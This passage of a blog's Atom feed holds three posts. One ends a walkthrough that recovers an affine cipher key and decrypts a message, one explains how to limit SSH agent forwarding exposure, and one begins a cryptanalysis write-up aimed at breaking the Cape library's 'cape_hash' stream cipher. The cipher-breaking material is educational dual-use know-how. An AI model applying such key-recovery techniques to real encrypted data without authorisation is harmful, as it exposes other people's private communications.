&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c11&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p11&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, let’s decrypt the message!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;asbytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pblocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cb&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;cb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toarray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cb&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;asbytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pblocks&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pblocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;Affine transformation!&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/03/20/Affine-Ciphers.html" rel="alternate" type="text/html" title="Affine Cipher"/>
    <category term="cryptography" label="cryptography"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="affine" label="affine"/>
    <category term="differential attack" label="differential attack"/>
    <published>2019-03-20T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/03/15/Separate-your-SSH-Agent-Identities.html</id>
    <title>Separate your SSH Agent Identities</title>
    <updated>2019-03-15T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Using a &lt;code&gt;ssh-agent&lt;/code&gt; to handle our keys is handy.&lt;/p&gt;
&lt;p&gt;When you need to access to different hosts jumping from one to another, &lt;em&gt;forwarding&lt;/em&gt; the agent is much more secure than copying and pasting your keys around.&lt;/p&gt;
&lt;p&gt;But if one host gets compromised it will expose your agent: even if the attacker will not get your secret keys he will be able to login into any system as you.&lt;/p&gt;
&lt;p&gt;You cannot prevent this, but you can restrict this to reduce the splash damage.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="explicit-is-better-than-implicit"&gt;Explicit is better than implicit&lt;/h2&gt;
&lt;p&gt;You can instruct to your &lt;code&gt;ssh-agent&lt;/code&gt; to request your &lt;em&gt;explicit&lt;/em&gt; permission to use a particular key.&lt;/p&gt;
&lt;p&gt;This gives you the opportunity to detect when someone is trying to use your agent.&lt;/p&gt;
&lt;p&gt;A simple alias is enough:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ssh-add&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ssh-add -c&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To make it usable you are going to need a program that can ask you if a particular key can be used or not. There are several options but if you want simplicity I think that &lt;code&gt;ssh-askpass&lt;/code&gt; is good enough.&lt;/p&gt;
&lt;h2 id="multiple-ssh-agents"&gt;Multiple &lt;code&gt;ssh-agent&lt;/code&gt;s&lt;/h2&gt;
&lt;p&gt;Even using an explicit confirmation, you agent may leak some info exposing all the public keys that it has.&lt;/p&gt;
&lt;p&gt;This is because when you (or the attacker in your behalf) request a secure shell to a remote host, &lt;code&gt;ssh&lt;/code&gt; will offer &lt;strong&gt;all&lt;/strong&gt; the available public keys that the agent has.&lt;/p&gt;
&lt;p&gt;Only if one is accepted, the agent will ask you confirmation; technically a public key is for that but it may reveal more than you want.&lt;/p&gt;
&lt;p&gt;For example you could have ssh key for your personal &lt;code&gt;github&lt;/code&gt; account and another key for your work.&lt;/p&gt;
&lt;p&gt;You use the latter ssh key to log in to some work-related host and forward the agent.&lt;/p&gt;
&lt;p&gt;But if you loaded &lt;em&gt;both&lt;/em&gt; keys to the &lt;em&gt;same&lt;/em&gt; agent, it may leak the fact that you have a personal &lt;code&gt;github&lt;/code&gt; account.&lt;/p&gt;
&lt;p&gt;The only way to prevent this is to not load all the keys in the same agent and use &lt;em&gt;different&lt;/em&gt; &lt;code&gt;ssh-agent&lt;/code&gt;s instead.&lt;/p&gt;
&lt;h3 id="switch-by-hand"&gt;Switch by hand&lt;/h3&gt;
&lt;p&gt;Assuming that you have two &lt;code&gt;ssh-agent&lt;/code&gt;s running, to use a particular one you need to set some environment variables in your current shell:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SSH_AGENT_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$agent_pid&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SSH_AUTH_SOCK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$sock_file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Where &lt;code&gt;$agent_pid&lt;/code&gt; and &lt;code&gt;$sock_file&lt;/code&gt; are the process id of the agent and the socket file that it created for IPC.&lt;/p&gt;
&lt;p&gt;But doing that by hand is error prone.&lt;/p&gt;
&lt;h2 id="ssh-use-agent"&gt;&lt;code&gt;ssh-use-agent&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;For this I wrote &lt;a href="https://github.com/eldipa/ssh-use-agent"&gt;ssh-use-agent&lt;/a&gt;, a simple script to spawn and switch between &lt;code&gt;ssh-agent&lt;/code&gt;s.&lt;/p&gt;
&lt;p&gt;To install it, save the script somewhere and give it execution permissions.&lt;/p&gt;
&lt;p&gt;For simplicity, create an &lt;code&gt;alias&lt;/code&gt; to invoke it without remembering to source it.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ssh-use-agent&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;. ~/your-scripts/ssh-use-agent&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And to have a quick feedback about which &lt;code&gt;ssh-agent&lt;/code&gt; is begin use, modify your prompt:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PS1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;${SSH_AGENT_NAME:+(agent $SSH_AGENT_NAME) } \$ &amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;That works for &lt;code&gt;Bash&lt;/code&gt;, depending of your shell and your personal configuration and taste those bits may vary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To start using an agent run:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh-use-agent&lt;span class="w"&gt; &lt;/span&gt;use&lt;span class="w"&gt; &lt;/span&gt;personal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That will &lt;em&gt;use&lt;/em&gt; an already running &lt;code&gt;ssh-agent&lt;/code&gt; registered under the name &lt;code&gt;personal&lt;/code&gt; and it will &lt;em&gt;source&lt;/em&gt; into your terminal the required environment variables so any program spawned from there will use that agent.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AGENT_PID&lt;/span&gt;
&amp;lt;pid&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AUTH_SOCK&lt;/span&gt;
/tmp/&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AGENT_NAME&lt;/span&gt;
personal
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If no agent is registered under that name, &lt;code&gt;ssh-use-agent&lt;/code&gt; will spawn a new &lt;code&gt;ssh-agent&lt;/code&gt; for you.&lt;/p&gt;
&lt;p&gt;It is up to you to load any ssh key to it later with &lt;code&gt;ssh-add&lt;/code&gt; (or &lt;code&gt;ssh-add -c&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;ssh-use-agent disuse&lt;/code&gt; to dis-configure your terminal. Keep in mind that no agent will be shutdown.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh-use-agent&lt;span class="w"&gt; &lt;/span&gt;disuse

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AGENT_PID&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AUTH_SOCK&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$SSH_AGENT_NAME&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To remove a key or all the keys use &lt;code&gt;ssh-add&lt;/code&gt; as usual; to kill a particular &lt;code&gt;ssh-agent&lt;/code&gt; use the traditional &lt;code&gt;kill -15&lt;/code&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/03/15/Separate-your-SSH-Agent-Identities.html" rel="alternate" type="text/html" title="Separate your SSH Agent Identities"/>
    <category term="bash" label="bash"/>
    <category term="scripting" label="scripting"/>
    <category term="security" label="security"/>
    <published>2019-03-15T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/02/03/Cape-Encryption.html</id>
    <title>Cape Encryption</title>
    <updated>2019-02-03T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;label for='CltjYXBlJ3Mgc2l0ZV0oaHR0cHM6Ly9naXRodWIuY29tL2dpb2JsdS9DYXBlL3RyZWUvMjk0ZjgxMGFjNDgzMWFmMjY4MzJlNzBlNGJhNWQwNzM5MDgyMzJlMikKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltjYXBlJ3Mgc2l0ZV0oaHR0cHM6Ly9naXRodWIuY29tL2dpb2JsdS9DYXBlL3RyZWUvMjk0ZjgxMGFjNDgzMWFmMjY4MzJlNzBlNGJhNWQwNzM5MDgyMzJlMikKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://github.com/gioblu/Cape/tree/294f810ac4831af26832e70e4ba5d073908232e2"&gt;cape’s site&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The Cape library offers a symmetric stream cipher implemented in &lt;code&gt;cape_decrypt&lt;/code&gt; and &lt;code&gt;cape_encrypt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgY2FwZV9oYXNoYGAgaXMgYW4gdW5mb3J0dW5hdGVseSBuYW1lIGZvciBhIGNpcGhlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgY2FwZV9oYXNoYGAgaXMgYW4gdW5mb3J0dW5hdGVseSBuYW1lIGZvciBhIGNpcGhlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;cape_hash&lt;/code&gt; is an unfortunately name for a cipher.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In addition, it offers another symmetric stream cipher, a slightly different of the first one, implemented in &lt;code&gt;cape_hash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In this write-up we are going to analyze the &lt;code&gt;cape_hash&lt;/code&gt; stream cipher and see if we can break it.&lt;!--more--&gt;&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./assets/matasano")
&gt;&gt;&gt; from challenge import generate_config                    # byexample: +timeout=10

&gt;&gt;&gt; seed = 20190203   # make the tests 'random' but deterministic

&gt;&gt;&gt; cfg = generate_config(random_state=seed)
&gt;&gt;&gt; rnd = cfg.rnd

&gt;&gt;&gt; with open("cape-secret", "wb") as f:
...     _ = f.write(rnd.bytes(1))
...     _ = f.write(rnd.bytes(65535))
--&gt;
&lt;!--
?: #include &lt;stdio.h&gt;
?: #include &lt;stdlib.h&gt;
?: #include &lt;errno.h&gt;
?: #include &lt;stdint.h&gt;

?: #include "assets/cape_encryption/cape.h"

?: typedef unsigned char uchar;

?: uchar* read(
::          const char *fname,
::          const char *mode,
::          unsigned int sz) {
::  FILE *f = fopen(fname, mode);
::  if (!f)
::      perror("File open failed");
::
::  uchar *buf = (unsigned char*) malloc(sz);
::  fread(buf, 1, sz, f);
::  fclose(f);
::
::  return buf;
:: }

?: void write(
::          const char *fname,
::          const char *mode,
::          const uchar* buf,
::          unsigned int sz) {
::  FILE *f = fopen(fname, mode);
::  if (!f)
::      perror("File open failed");
::
::  fwrite(buf, 1, sz, f);
::  fclose(f);
:: }
--&gt;
&lt;h3 id="warming-up"&gt;Warming up&lt;/h3&gt;
&lt;p&gt;First at all, let’s load a secret and random salt and key and an ASCII pseudo-English plaintext, unknown to us:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cape-secret&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;assets/cape_encryption/1.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2852&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In this post we are going to analyze only the &lt;code&gt;cape_hash&lt;/code&gt; cipher so let’s use it to encrypt the plaintext and save it to disk:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2852&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2852&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cape-ciphertext&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;wb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2852&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For breaking the cipher we are going to use &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;, a Python lib for cryptanalysis.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;                 &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cape-ciphertext&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
